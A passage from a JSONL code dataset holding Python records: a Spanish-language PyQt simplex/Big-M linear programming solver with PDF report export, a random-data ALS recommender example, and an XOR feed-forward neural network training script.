filaAnterior.append(item)\n            tablaInicial.append(filaAnterior)\n        self.allTable.append(tablaInicial)\n\n    def guardarZj(self, cb, numero):\n        multiCb = \"\"\n        fracNum = Fraccion.Fraccion(0, 0)\n        fracCB = Fraccion.Fraccion(0, 0)\n        if numero == \"0\" or cb == \"0\":\n            multiCb = \"0\"\n        elif cb == \"M\":\n            multiCb = numero + \"M\"\n        elif cb == \"-M\":\n            fracNum = fracNum.deTablaFraccion(numero)\n            fracCB.setNumerador(-1)\n            fracCB.setDenominador(1)\n            multiCb = fracCB.multiplicar(fracNum).__str__() + \"M\"\n        else:\n            fracNum = fracNum.deTablaFraccion(numero)\n            fracCB = fracCB.deTablaFraccion(cb)\n            multiCb = fracCB.multiplicar(fracNum).__str__()\n        return multiCb\n\n    def devolverZj(self, acumulaZj):\n        acumulaZj = acumulaZj[0:len(acumulaZj)-1]  # quitar ultimo ;\n        arregloZj = acumulaZj.split(\";\")\n        zjfinal = \"\"\n        llevaM = False\n        llevaFrac = False\n        claseM = ClaseM.ClaseM(Fraccion.Fraccion(0, 0), \"M\")\n        claseMAcum = ClaseM.ClaseM(Fraccion.Fraccion(0, 0), \"M\")\n        claseMAcum.setCoeficiente(Fraccion.Fraccion(0, 1))\n        fracAcumuladora = Fraccion.Fraccion(0, 1)\n        frac = Fraccion.Fraccion(0, 0)\n    \n        for k in range(0, len(arregloZj), 1):\n            if claseM.esM(arregloZj[k]):\n                claseM = claseM.obtenerM(arregloZj[k])\n                claseMAcum = claseMAcum.sumaM(claseM)\n                llevaM = True\n            elif not arregloZj[k] == \"0\":\n                fracAcumuladora = fracAcumuladora.sumar(\n                    frac.deTablaFraccion(arregloZj[k]))\n                llevaFrac = True\n       \n        if llevaM == False:\n            zjfinal = fracAcumuladora.__str__()\n        elif (llevaFrac == True) and (fracAcumuladora.__str__()[0] == \"-\"):\n            zjfinal = claseMAcum.__str__()+fracAcumuladora.__str__()\n        elif (llevaFrac == True) and (not fracAcumuladora.__str__()[0] == \"-\"):\n            newM = \"\"\n            if not claseMAcum.__str__() == \"0\":\n                newM = claseMAcum.__str__()+\"+\"\n\n            zjfinal = newM+fracAcumuladora.__str__()\n\n        else:\n            zjfinal = claseMAcum.__str__()\n        corte0=\"\"\n        if len(zjfinal)>2:\n            corte0 = zjfinal[len(zjfinal)-2:len(zjfinal)]\n            if (corte0==\"+0\") or (corte0==\"-0\") :\n                zjfinal= zjfinal[0:len(zjfinal)-2]\n       \n        return zjfinal\n\n    def devolverZjCj(self, cj, zj):\n        zjcj = \"\"\n        newCj = \"\"\n        corteM = \"\"\n        corteFrac = \"\"\n        posM = 0\n        fraccionZj = Fraccion.Fraccion(0, 0)\n        fraccionCj = Fraccion.Fraccion(0, 0)\n        fracCorte = Fraccion.Fraccion(0, 0)\n        zjM = ClaseM.ClaseM(Fraccion.Fraccion(0, 0), \"M\")\n        cjM = ClaseM.ClaseM(Fraccion.Fraccion(0, 0), \"M\")\n       \n        if cj == \"0\" and zj == \"0\":  # 0 y 0\n            zjcj = \"0\"\n           \n        elif zj==\"\" or zj==\" \":\n            zjcj=cj\n          \n        \n        elif zjM.esM(zj) == True and cjM.esM(cj) == True:  # ambas son M\n           \n            if cj == \"M\":\n                cj = \"1M\"\n            if cj == \"-M\":\n                cj = \"-1M\"\n            if zj[len(zj)-1]==\"0\": #0-0\n                zj= zj[0:len(zj)-2]\n            posM = zj.find('M')\n            # separar fraccion de M\n            if posM == len(zj)-1:  # no tiene nada despues de M\n                corteFrac = \"\"\n            else:  # si tiene despues de M\n                corteFrac = zj[posM+1:len(zj)]\n                if corteFrac[0] == '-':\n                    corteFrac = \"+\"+corteFrac[1:len(corteFrac)]\n                else:\n                    corteFrac = \"-\"+corteFrac[1:len(corteFrac)]\n\n            corteM = zj[0:posM+1]\n            # cambiar signo al corte M\n            if corteM[0] == '-':\n                corteM = corteM[1:len(corteM)]\n            else:\n                corteM = \"-\"+corteM\n\n            cjM = cjM.obtenerM(cj)\n            zjM = zjM.obtenerM(corteM)\n            cjM = cjM.sumaM(zjM)\n            zjcj = cjM.__str__()+corteFrac\n            \n          \n        elif zjM.esM(zj):  # cj es numero zj = tiene M\n            posM = zj.find('M')\n            # separar M de fraccion\n            if posM == len(zj)-1:  # no tiene nada despues de M\n                fracCorte.setNumerador(0)\n                fracCorte.setDenominador(1)\n            else:  # si tiene despues de M\n                corteFrac = zj[posM+1:len(zj)]\n                # cambiar signo a fraccion\n                if corteFrac[0] == '-':\n                    corteFrac = corteFrac[1:len(corteFrac)]\n                else:\n                    corteFrac = \"-\" + corteFrac[1:len(corteFrac)]\n\n                fracCorte = fracCorte.deTablaFraccion(corteFrac)\n\n            corteM = zj[0:posM+1]\n            \n\n            # cambiar signo al corte M\n            if corteM[0] == '-':\n                corteM = corteM[1:len(corteM)]\n            else:\n                corteM = \"-\"+corteM\n\n            # hacer calculo para la fraccion\n            if cj == \"0\":\n                fraccionCj.setNumerador(0)\n                fraccionCj.setDenominador(1)\n                fraccionCj = fraccionCj.deTablaFraccion(cj)\n            else:\n                fraccionCj = fraccionCj.deTablaFraccion(cj)\n\n            fraccionCj = fraccionCj.sumar(fracCorte)\n\n            if not fraccionCj.__str__()[0] == '-':\n                newCj = \"+\"+fraccionCj.__str__()\n            else:\n                newCj = fraccionCj.__str__()\n            if newCj[len(newCj)-1] == '0':\n                newCj = \"\"\n\n            zjcj = corteM+newCj\n         \n\n        elif cjM.esM(cj):  # cj tiene M zj es fraccion\n            if cj == 'M':\n                corteM = \"1M\"\n            if cj == \"-M\":\n                corteM = \"-1M\"\n\n            if zj == \"0\":\n                zjcj = corteM\n            else:\n                if zj[0] == '-':\n                    zj = \"+\"+zj[1:len(zj)]\n                else:\n                    zj = \"-\"+zj\n                zjcj = corteM+zj\n           \n\n        else:\n            fraccionCj = fraccionCj.deTablaFraccion(cj)\n            if zj[0] == '-':\n                zj = zj[1:len(zj)]\n            else:\n                zj = \"-\"+zj\n            fraccionZj = fraccionZj.deTablaFraccion(zj)\n            zjcj = fraccionCj.sumar(fraccionZj).__str__()\n           \n        return zjcj\n\n    def sistemaRestricciones(self):\n        sinExpcecion = False\n        self.columSR = 0\n        self.columSRcompletas = 0\n        self.numHolgura = 0\n        self.numArtificial = 0\n        # numero de columnas que ocupan las variables de la funcion objtivo\n        self.columSR = self.numVariables\n        # ciclo que aumenta columnas\n        combo = QtWidgets.QComboBox\n        for i in range(0, self.numRestricciones, 1):\n            combo = self.tablaRestricciones.cellWidget(i, self.numVariables)\n            signo = combo.currentText()\n            if signo == \">=\":\n                self.numHolgura += 1\n                self.numArtificial += 1\n            elif signo == \"=\":\n                self.numArtificial += 1\n            else:\n                self.numHolgura += 1\n\n        self.columSR += self.numHolgura\n        self.columSRcompletas = self.columSR+self.numArtificial+1\n\n        # Matriz\n        restricciones = [\n            [0] * self.columSRcompletas for i in range(self.numRestricciones)]\n\n        # Ciclo para agregar los coeficientes de la funcion objetivo\n        stringDecimal1 = \"\"\n        for iResFila in range(0, self.numRestricciones, 1):\n            if sinExpcecion:\n                break\n\n            for iResCol in range(0, self.numVariables, 1):\n                stringDecimal1 = self.tablaRestricciones.item(\n                    iResFila, iResCol).text()\n                restricciones[iResFila][iResCol] = self.devolverValorSR(\n                    stringDecimal1)\n                if restricciones[iResFila][iResCol] == \"Dato vacio\":\n                    sinExpcecion = True\n                    break\n\n        if sinExpcecion == False:\n            numIguales = 0\n            combo = QtWidgets.QComboBox\n            for iResFila in range(0, self.numRestricciones, 1):\n                combo = self.tablaRestricciones.cellWidget(\n                    iResFila, self.numVariables)\n                signo = combo.currentText()\n                for iResCol in range(0, self.numHolgura, 1):\n                    if iResFila == (iResCol+numIguales):\n                        if signo == \">=\":\n                            restricciones[iResFila][iResCol +\n                                                    self.numVariables] = \"-1\"\n                        elif signo == \"=\":\n                            restricciones[iResFila][iResCol +\n                                                    self.numVariables] = \"0\"\n                        else:\n                            restricciones[iResFila][iResCol +\n                                                    self.numVariables] = \"1\"\n                    else:\n                        restricciones[iResFila][iResCol +\n                                                self.numVariables] = \"0\"\n                if signo == \"=\":\n                    numIguales += 1\n\n            saltoFila = 0\n            combo = QtWidgets.QComboBox\n            for iResFila in range(0, self.numRestricciones, 1):\n                combo = self.tablaRestricciones.cellWidget(\n                    iResFila, self.numVariables)\n                signo = combo.currentText()\n                for iResCol in range(0, self.numArtificial, 1):\n\n                    if iResFila == (iResCol+saltoFila):\n\n                        if signo == \"<=\":\n                            restricciones[iResFila][iResCol+self.columSR] = \"0\"\n                        else:\n                            restricciones[iResFila][iResCol+self.columSR] = \"1\"\n                    else:\n                        restricciones[iResFila][iResCol+self.columSR] = \"0\"\n\n                if signo == \"<=\":\n                    saltoFila += 1\n\n            stringDecimal2 = \"\"\n            for bi in range(0, self.numRestricciones, 1):\n                stringDecimal2 = self.tablaRestricciones.item(\n                    bi, self.tablaRestricciones.columnCount()-1).text()\n                restricciones[bi][self.columSRcompletas -\n                                  1] = self.devolverValorSR(stringDecimal2)\n                if restricciones[bi][self.columSRcompletas-1] == \"Dato vacio\":\n                    sinExpcecion = True\n                    break\n            if sinExpcecion:\n                return  # retorna None\n            else:\n                return restricciones\n\n        else:\n            return  # retorna None\n    \n    def devolverValorSR(self, stringDecimal):\n        fracString = \"\"\n        frac = Fraccion.Fraccion(0, 0)\n        try:\n            decimal = float(stringDecimal)  #convierto a decimal\n            try:\n                if decimal % int(decimal) == 0:#es un numero entero\n                    fracString = stringDecimal \n                else:\n                     fracString =  frac.toFraccion(decimal).__str__()\n            except ZeroDivisionError:# en caso de ingresar un 0.4\n                     fracString =  frac.toFraccion(decimal).__str__()\n        except ValueError:\n             fracString = \"Dato vacio\"\n        \n        return fracString\n\n    def variableSalida(self):\n        fraccionAij = Fraccion.Fraccion(0, 0)\n        fraccionBi = Fraccion.Fraccion(0, 0)\n        vSal = float(0)\n        siguiente = float(0)\n        numColumnas = self.columSRcompletas+2\n        numFilas = self.numRestricciones+4\n        menor = 2  # posicion ubicacion\n        ve = self.variableEntrada()  # ubicacion de la variable de entrada\n        entra = True  # booleana para ejecutarse una sola vez\n        aij = float(0)\n        bi = float(0)\n        stringAij = \"\"\n        stringBi = \"\"\n        for i in range(2, (numFilas-2), 1):  # ciclo recorre las filas de las inecuaciones\n            stringAij = self.tablaU.item(i, ve).text()\n            if fraccionAij.posicionBarra(stringAij) == -1:\n                aij = float(stringAij)\n            else:\n                fraccionAij = fraccionAij.deTablaFraccion(stringAij)\n                aij = fraccionAij.toDecimal()\n\n            stringBi = self.tablaU.item(i, numColumnas-1).text()\n            if fraccionBi.posicionBarra(stringBi) == -1:\n                bi = float(stringBi)\n            else:\n                fraccionBi = fraccionBi.deTablaFraccion(stringBi)\n                bi = fraccionBi.toDecimal()\n          \n            if (aij > 0) and (bi > 0):  # para que no haya division entre 0\n                siguiente = float(bi/aij)\n                if entra:  # solo se ejecuta una vez al inicio del ciclo\n                    vSal = siguiente  # vSal toma el primer valor de siguiente\n                    entra = False\n                    menor = i\n\n                if siguiente < vSal:  # condicional para que determinar el menor valor\n                    vSal = siguiente\n                    menor = i\n        return menor\n\n    def variableEntrada(self):\n        numColumnas = self.columSRcompletas+2\n        numFilas = self.numRestricciones+4\n        contador = 3\n        posicion = 2  # primera posicion\n        fraccionVent = Fraccion.Fraccion(0, 0)\n        fraccionSig = Fraccion.Fraccion(0, 0)\n        vEnt = float(0)\n        siguiente = float(0)\n        stringVent = \"\"\n        stringSig = \"\"\n        claseM = ClaseM.ClaseM(Fraccion.Fraccion(0, 0), \"M\")\n\n        stringVent = claseM.obtenerValorSinM(\n            self.tablaU.item(numFilas-1, 2).text())\n        if fraccionVent.posicionBarra(stringVent) == -1:\n            vEnt = float(stringVent)\n        else:\n            fraccionVent = fraccionVent.deTablaFraccion(stringVent)\n            vEnt = fraccionVent.toDecimal()\n\n        while contador < numColumnas-1:  # ciclo para hallar\n            stringSig = claseM.obtenerValorSinM(\n                self.tablaU.item(numFilas-1, contador).text())\n            if fraccionSig.posicionBarra(stringSig) == -1:\n                siguiente = float(stringSig)\n            else:\n                fraccionSig = fraccionSig.deTablaFraccion(stringSig)\n                siguiente = fraccionSig.toDecimal()\n\n            if self.comboMetodo.currentIndex() == 0 or self.comboObjetivo.currentIndex() == 1:\n                if siguiente > vEnt:  # si el siguiente valor es menor\n                    vEnt = siguiente  # vEnt toma ese valor para ser comparado en la siguiente vuelta del ciclo\n                    posicion = contador  # guarda la ubicacion de la columna\n            else:\n                if siguiente < vEnt:  # si el siguiente valor es menor\n                    vEnt = siguiente  # vEnt toma ese valor para ser comparado en la siguiente vuelta del ciclo\n                    posicion = contador\n            contador += 1\n\n        return posicion\n\n    def iteraciones(self):\n        numColumnas = self.columSRcompletas+2\n        numFilas = self.numRestricciones+4\n        # matriz para tomar los datos actuales de la tabla\n        anteriorIteracion = [[\" \"]*numColumnas for i in range(numFilas)]\n        # matriz para insertar nuevos datos a la tabla\n        nuevaIteracion = [[\" \"]*numColumnas for i in range(numFilas)]\n\n        # llenar matriz anterior\n        for i in range(0, numFilas, 1):\n            for j in range(0, numColumnas, 1):\n                anteriorIteracion[i][j] = self.tablaU.item(i, j).text()\n\n        # llenar 2 primeras filas de la nueva matriz\n        for k in range(0, 2, 1):\n            for m in range(0, numColumnas, 1):\n                nuevaIteracion[k][m] = self.tablaU.item(k, m).text()\n\n        col = self.variableEntrada()  # ubicacion de la columna del pivote\n        fila = self.variableSalida()  # ubicacion de la fila del pivote\n\n        # obtener fila 1\n        f1Fila1 = Fraccion.Fraccion(0, 0)\n        f2Fila1 = Fraccion.Fraccion(0, 0)\n        fila1 = [Fraccion.Fraccion(0, 0)]*(numColumnas-2)\n        string1Fila1 = \"\"\n        string2Fila1 = \"\"\n        for i in range(0, len(fila1), 1):\n            string1Fila1 = str(anteriorIteracion[fila][2+i])\n            string2Fila1 = str(anteriorIteracion[fila][col])\n            f1Fila1 = f1Fila1.deTablaFraccion(string1Fila1)\n            fila1[i] = f1Fila1.dividir(f2Fila1.deTablaFraccion(string2Fila1))\n\n        # obtener las otras filas 0 y llenar la tabla de ecuaciones\n        numColEcuaciones = numColumnas - 1\n        numFilaEcuaciones = (self.numRestricciones - 1) * 6\n        matrizEcuaciones = [\n            [\" \"]*numColEcuaciones for i in range(numFilaEcuaciones)]  # matriz\n        stringNega = \"\"\n        stringFila0 = \"\"\n        fracNega = Fraccion.Fraccion(0, 0)\n        fracFila0 = Fraccion.Fraccion(0, 0)\n        fracMulti0 = Fraccion.Fraccion(0, 0)\n        saltoFila = -6\n        multiplicador = \"\"\n\n        for iterador in range(2, (numFilas-2), 1):\n            if not iterador == fila:  # si se cumpla se calcula el valor de las nuevas filas 0\n                saltoFila += 6\n                for j in range(2, numColumnas, 1):\n                    stringNega = str(anteriorIteracion[iterador][col])\n                    fracNega = fracNega.deTablaFraccion(stringNega)\n                    fracNega = fracNega.multiplicar(Fraccion.Fraccion(-1, 1))\n\n                    stringFila0 = str(anteriorIteracion[iterador][j])\n                    fracFila0 = fracFila0.deTablaFraccion(stringFila0)\n                    fracMulti0 = fila1[j - 2].multiplicar(fracNega)\n                    matrizEcuaciones[saltoFila + 1][j - 1] = str(fila1[j - 2])\n                    matrizEcuaciones[saltoFila + 2][j -\n                                                    1] = str(fracMulti0.__str__())\n                    fracMulti0 = fracMulti0.sumar(fracFila0)\n                    matrizEcuaciones[saltoFila + 3][j -\n                                                    1] = str(fracFila0.__str__())\n                    matrizEcuaciones[saltoFila + 4][j -\n                                                    1] = str(fracMulti0.__str__())\n                    nuevaIteracion[iterador][j] = fracMulti0.__str__()\n\n                    multiplicador = str(anteriorIteracion[iterador][col])\n                    if multiplicador[0] == '-':\n                        multiplicador[1:len(multiplicador)]\n                    else:\n                        multiplicador = \"-\" + multiplicador\n\n                    matrizEcuaciones[saltoFila][0] = anteriorIteracion[iterador][1] + \"' = \" + \\\n                        anteriorIteracion[1][col] + \\\n                        \"(\" + multiplicador + \") + \" + \\\n                        anteriorIteracion[iterador][1]\n                    matrizEcuaciones[1 +\n                                     saltoFila][0] = anteriorIteracion[1][col] + \" = \"\n                    matrizEcuaciones[2 + saltoFila][0] = multiplicador + \\\n                        \"(\" + anteriorIteracion[1][col] + \") = \"\n                    matrizEcuaciones[3 +\n                                     saltoFila][0] = anteriorIteracion[iterador][1] + \" = \"\n                    matrizEcuaciones[4 +\n                                     saltoFila][0] = anteriorIteracion[iterador][1] + \"' = \"\n            else:  # si no se cumple se guarda la fila 1 donde corresponde\n                for j in range(2, numColumnas, 1):\n                    nuevaIteracion[iterador][j] = fila1[j - 2].__str__()\n\n        # mostrar matriz en la tabla de ecuaciones\n        self.tablaOperaciones.clear()\n        self.tablaOperaciones.setRowCount(numFilaEcuaciones)\n        self.tablaOperaciones.setColumnCount(numColEcuaciones)\n\n        for j in range(numColEcuaciones):\n            item1 = QTableWidgetItem(\" \")\n            self.tablaOperaciones.setHorizontalHeaderItem(j, item1)\n\n        for row in range(0, numFilaEcuaciones, 1):\n            for colT in range(0, numColEcuaciones, 1):\n                item = QTableWidgetItem(str(matrizEcuaciones[row][colT]))\n                self.tablaOperaciones.setItem(row, colT, item)\n\n        self.tablaOperaciones.resizeColumnsToContents()\n\n        # llenar CB y XB\n        for icb in range(2, (numFilas-2), 1):\n            for ixb in range(0, 2, 1):\n                if icb == fila:\n                    nuevaIteracion[fila][ixb] = anteriorIteracion[ixb][col]\n                else:\n                    nuevaIteracion[icb][ixb] = anteriorIteracion[icb][ixb]\n\n        # llenar Zj\n        nuevaIteracion[numFilas -\n                       2][0] = anteriorIteracion[numFilas - 2][0]  # \" \"\n        nuevaIteracion[numFilas -\n                       2][1] = anteriorIteracion[numFilas - 2][1]  # \"Zj\"\n        stringZj = \"\"\n        acumulaZj = \"\"\n\n        for i in range(2, numColumnas, 1):\n            acumulaZj = \"\"\n            for j in range(2, (numFilas-2), 1):\n                stringZj = self.guardarZj(\n                    str(nuevaIteracion[j][0]), str(nuevaIteracion[j][i]))\n                acumulaZj += stringZj + \";\"\n\n            nuevaIteracion[numFilas - 2][i] = self.devolverZj(acumulaZj)\n            \n        # llenar Cj-Zj\n        nuevaIteracion[numFilas -\n                       1][0] = anteriorIteracion[numFilas - 1][0]  # \" \"\n        nuevaIteracion[numFilas -\n                       1][1] = anteriorIteracion[numFilas - 1][1]  # \"Zj-Cj\"\n        nuevaIteracion[numFilas - 1][numColumnas -\n                                     1] = anteriorIteracion[numFilas - 1][numColumnas - 1]  # \" \"\n        stringA = \"\"\n        stringB = \"\"\n        for i in range(2, (numColumnas-1), 1):\n            stringA = str(nuevaIteracion[0][i])\n            stringB = str(nuevaIteracion[numFilas - 2][i])\n            nuevaIteracion[numFilas -\n                           1][i] = self.devolverZjCj(stringA, stringB)\n           \n        # mostrar matriz en la tabla\n        self.tablaU.clear()\n        self.tablaU.setRowCount(numFilas)\n        self.tablaU.setColumnCount(numColumnas)\n\n        for j in range(numColumnas):\n            item1 = QTableWidgetItem(\" \")\n            self.tablaU.setHorizontalHeaderItem(j, item1)\n\n        for row in range(0, numFilas, 1):\n            for colT in range(0, numColumnas, 1):\n                item = QTableWidgetItem(str(nuevaIteracion[row][colT]))\n                self.tablaU.setItem(row, colT, item)\n        self.tablaU.resizeColumnsToContents()\n\n        # pintar pivote\n        self.pintarPivote()\n\n        self.numIteraciones += 1\n        self.etiquetaIteracion.setText(\" \"+str(self.numIteraciones))\n\n        # Guardar tabla para el pdf\n        fila = self.numRestricciones+4\n        columna = self.columSRcompletas+2\n        tablaItera = []\n        for f in range(fila):\n            filaAnterior = []\n            for c in range(columna):\n                item = self.tablaU.item(f, c).text()\n                filaAnterior.append(item)\n            tablaItera.append(filaAnterior)\n        self.allTable.append(tablaItera)\n\n    def seguirIteracionesSimplex(self):\n        seSigue = False\n        numColumnas = self.columSRcompletas + 2\n        numFilas = self.numRestricciones + 4\n        stringSig = \"\"\n        siguiente = float(0)\n        claseM = ClaseM.ClaseM(Fraccion.Fraccion(0, 0), \"M\")\n        fraccionSig = Fraccion.Fraccion(0, 0)\n        for i in range(2, (numColumnas-2), 1):\n            stringSig = claseM.obtenerValorSinM(\n                self.tablaU.item(numFilas-1, i).text())\n            if fraccionSig.posicionBarra(stringSig) == -1:\n                siguiente = float(stringSig)\n            else:\n                fraccionSig = fraccionSig.deTablaFraccion(stringSig)\n                siguiente = fraccionSig.toDecimal()\n\n            if siguiente > 0:\n                seSigue = True\n\n        return seSigue\n\n    def seguirIteracionesBigM(self):\n        seSigue = False\n        numColumnas = self.columSRcompletas + 2\n        numFilas = self.numRestricciones + 4\n        stringSig = \"\"\n        siguiente = float(0)\n        claseM = ClaseM.ClaseM(Fraccion.Fraccion(0, 0), \"M\")\n        fraccionSig = Fraccion.Fraccion(0, 0)\n        for i in range(2, (numColumnas-2), 1):\n            stringSig = claseM.obtenerValorSinM(\n                self.tablaU.item(numFilas-1, i).text())\n            if fraccionSig.posicionBarra(stringSig) == -1:\n                siguiente = float(stringSig)\n            else:\n                fraccionSig = fraccionSig.deTablaFraccion(stringSig)\n                siguiente = fraccionSig.toDecimal()\n\n            if siguiente < 0:\n                seSigue = True\n\n        return seSigue\n\n    def pintarPivote(self):\n        fila = self.variableSalida()  # ubicacion de la variable de salida\n        col = self.variableEntrada()  # ubicacion de la variable de entrada\n        pivote = self.tablaU.item(fila, col).text()\n        item = QTableWidgetItem(str(pivote))\n        item.setBackground(QtGui.QColor(0, 153, 153))\n        self.tablaU.setItem(fila, col, item)\n\n    def generarReporte(self):\n\n        fila = self.numRestricciones+4\n        columna = self.columSRcompletas+2\n\n        tituloReporte = \"Reporte_\"+self.metodo+\".pdf\"\n        try:\n            doc = SimpleDocTemplate(tituloReporte, pagesize=A4, topMargin=12)\n            alineacionTitulo = ParagraphStyle(\n                name=\"centrar\", alignment=TA_CENTER, fontSize=20, leading=40)\n            alineacionTituloTabla = ParagraphStyle(\n                name=\"centrar\", alignment=TA_CENTER, fontSize=14, leading=40)\n            alineacionOpTable = ParagraphStyle(\n                name=\"centrar\", alignment=TA_CENTER, fontSize=12, leading=40)\n            alineacionResultados = ParagraphStyle(\n                name=\"centrar\", alignment=TA_LEFT, fontSize=12, leading=30)\n            alineacionRestr = ParagraphStyle(\n                name=\"centrar\", alignment=TA_CENTER, fontSize=12, leading=30)\n\n            story = []\n\n            restriccionesGuardadas = self.guardarRestricciones()\n            resultados = self.guardarResultados()\n            self.guardarRestricciones() #guarda solucion optima y el resultados de las variables\n\n            story.append(Paragraph(self.tituloMetodo, alineacionTitulo))\n            story.append(Paragraph(\n                f\"Función Objetivo: {self.etiquetaFuncionObjetivo.text()}\", alineacionResultados))\n            \n            story.append(Paragraph(f\"S.R:\", alineacionResultados))\n            \n            for restr in range(len(restriccionesGuardadas)):\n                story.append(\n                    Paragraph(restriccionesGuardadas[restr], alineacionResultados))\n            \n            solucion = \"La solución óptima es Z = \"+self.solucion_optima\n            story.append(Paragraph(solucion, alineacionTituloTabla))\n            \n            variables =\"\"\n            for iResul in range(len(resultados)):\n                variables+=resultados[iResul]\n            story.append(Paragraph(variables, alineacionOpTable)) \n\n          \n            for table in range(len(self.allTable)):\n                self.arrayFila = []\n                for f in range(fila):\n                    item = self.allTable[table][f]\n                    self.arrayFila.append(item)\n\n                tabla = Table(self.arrayFila, colWidths=50, rowHeights=40)\n                tabla.setStyle([\n                    ('GRID', (0, 0), (-1, -1), 2, colors.black),\n                    ('BOX', (0, 0), (-1, -1), 2, colors.black),\n                    ('ALIGN', (0, 0), (-1, -1), 'CENTER'),\n                    ('VALIGN', (0, 0), (-1, -1), 'MIDDLE'),\n                    ('BACKGROUND', (0, 0), (-1, 1),\n                     colors.HexColor('#009999')),\n                    ('TEXTCOLOR', (0, 0), (-1, 1), colors.HexColor('#ffffff'))\n                ])\n\n                story.append(\n                    Paragraph(f\"Iteración #{table}\", alineacionTituloTabla))\n                story.append(tabla)\n                story.append(Spacer(0, 2))\n                \n                if(table+1 == len(self.allTable)):\n                    story.append(Spacer(0, 0))\n                else:\n                    story.append(Spacer(0, 250))\n                \n               \n\n            doc.build(story)\n\n            msjErr = \"Reporte generado correctamente\"\n            msgBox5 = QMessageBox()\n            msgBox5.setText(msjErr)\n            msgBox5.setWindowTitle(\"Éxito\")\n            msgBox5.setStyleSheet(\n                \"font-size: 14px; font-weight: bold; font-family: Century Gothic\")\n            msgBox5.exec_()\n\n            os.system(tituloReporte+\"&& exit\")\n        except PermissionError:\n            msjErr = \"Ocurrió un error al generar el reporte\"\n            msgBox6 = QMessageBox()\n            msgBox6.setText(msjErr)\n            msgBox6.setWindowTitle(\"Error\")\n            msgBox6.setStyleSheet(\n                \"font-size: 14px; font-weight: bold; font-family: Century Gothic\")\n            msgBox6.exec_()\n        \n    def guardarResultados(self):\n        resultados = []\n        columnas = self.columSRcompletas+2\n        filas = self.numRestricciones+4\n        arregloXBFila = [\" \"] * (columnas-3)\n        arregloXBCol = [\" \"] * self.numRestricciones\n        for i in range(0, len(arregloXBFila), 1):\n            arregloXBFila[i] = self.tablaU.item(1,(i+2)).text() #guardo XB Fila\n        for i in range(0,len(arregloXBCol),1):\n            arregloXBCol[i]= self.tablaU.item((i+2),1).text() #guardo XB columna\n        \n        resultados=[\" \"]*len(arregloXBFila)\n        #ciclo para llenar el arreglo de resultado\n        for i in range(0, len(arregloXBFila), 1):\n            resultados[i]=arregloXBFila[i]+\" = 0, \"\n            #ciclo para asignar el valor de BI\n            for j in range(0,len(arregloXBCol),1):\n                if arregloXBFila[i] == arregloXBCol[j]:\n                    resultados[i]=arregloXBFila[i]+\" = \"+self.tablaU.item((j+2),(columnas-1)).text()+\", \"\n        return resultados\n\n\n\n    def validarTablaFuncion(self):\n        datosOk= True\n        for i in range(self.numVariables):\n            try:\n                dato= int(self.tablaVariables.item(0,i).text())\n            except ValueError:\n                try:\n                    dato = float(self.tablaVariables.item(0,i).text())\n                except ValueError:\n                    datosOk=False\n                    self.show_popup_Informacion(\"Dato no válido en la tabla Función Objetivo\",\n                    \"Solo se permite el ingreso de enteros o decimales\")\n                    break           \n            except AttributeError:\n                datosOk=False\n                self.show_popup_Informacion(\"Dato inválido\",\n                \"Dato vacío en la tabla Función Objetivo\")\n                break\n\n\n    \n        return datosOk\n\n    def validarTablaRestricciones(self):\n        datosOk=True\n        for row in range (self.tablaRestricciones.rowCount()):\n            for col in range (self.tablaRestricciones.columnCount()):\n                if not col == self.tablaRestricciones.columnCount()-2: #no se toma en cuenta la columna con el signo de la restriccion\n                    try:\n                        dato= int(self.tablaRestricciones.item(row,col).text())\n                        \n                    except ValueError:\n                        try:\n                            dato = float(self.tablaRestricciones.item(row,col).text())\n                        except ValueError:\n                            datosOk=False\n                            self.show_popup_Informacion(\"Dato no válido en la tabla Restricciones\",\"Solo se permite el ingreso de enteros o decimales\")\n                            break\n                    except AttributeError:\n                        datosOk=False\n                        self.show_popup_Informacion(\"Dato inválido\",\n                        \"Dato vacío en la tabla Restricciones\")\n                        break\n\n            if datosOk == False:\n                break\n        return datosOk\n\n\n\n\n\n\n\n","repo_name":"rforty40/Proyecto_Simplex_PetCPM","sub_path":"MethSimplex.py","file_name":"MethSimplex.py","file_ext":"py","file_size_in_byte":47801,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"43753893915","text":"import random\n\nimport implicit\nfrom scipy.sparse import csr_matrix\n\nnb_movies = 50_000\nnb_users = 10_000_000\nnb_ratings = nb_users * 50\nfactors = 64\n\nmodel = implicit.als.AlternatingLeastSquares(factors=factors)\n\nprint(\"Create movies which are rated...\")\nrow = [random.randint(0, nb_movies) for i in range(nb_ratings)]\n\nprint(\"Create users which did rate...\")\ncol = [random.randint(0, nb_users) for i in range(nb_ratings)]\n\nprint(\"Create ratings...\")\ndata = [random.randint(0, 5) for i in range(nb_ratings)]\n\n\nitem_user_data = csr_matrix((data, (row, col)), shape=(max(row) + 1, max(col) + 1))\nmodel.fit(item_user_data)\n","repo_name":"MartinThoma/algorithms","sub_path":"ML/movielens-20m/ml-20m/example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"en","doc_type":"code","stars":231,"dataset":"github-code","pt":"16"}
+{"seq_id":"14062155233","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom FFNN import Layer, FeedForwardNeuralNetwork\n\nxor_gate = np.array([\n    [0,0,0],\n    [0,1,1],\n    [1,0,1],\n    [1,1,0]\n])\n\ndef main():\n    x_train = xor_gate[:,:2]        #extract training features\n    y_train = xor_gate[:,2:3]       #extract training outputs\n\n    model = FeedForwardNeuralNetwork()      #initialize a nn\n    model.add(Layer(n_input=2,n_neurons=2)) #hidden layer\n    model.add(Layer(n_input=2,n_neurons=1)) #output layer\n    ret = model.compile()                   #compile the model\n    if not ret:\n        print(\"!!!!! ERROR IN NEURAL NETWORK !!!!!\")\n        return\n    \n    #print initial weights\n    print(\"\\nInitial Weights - \")\n    model.summary(print_weights=True)\n\n    #train the model\n    l_rate = float(input('Learning rate = '))\n    n_epochs = int(input('Number of epochs = '))\n    errors, epochs = model.fit(x_train,y_train,l_rate=l_rate,n_epochs=n_epochs,batch_size=1)\n    \n    #print final weights\n    print(\"\\nFinal Weights - \")\n    model.summary(print_weights=True)\n\n    #plot the data\n    plt.title('Error vs Epochs')\n    plt.xlabel('Epochs')\n    plt.ylabel('Error')\n    plt.plot([i for i in range(epochs)],errors)\n    plt.show()\n\n\nif __name__ == \"__main__\":\n    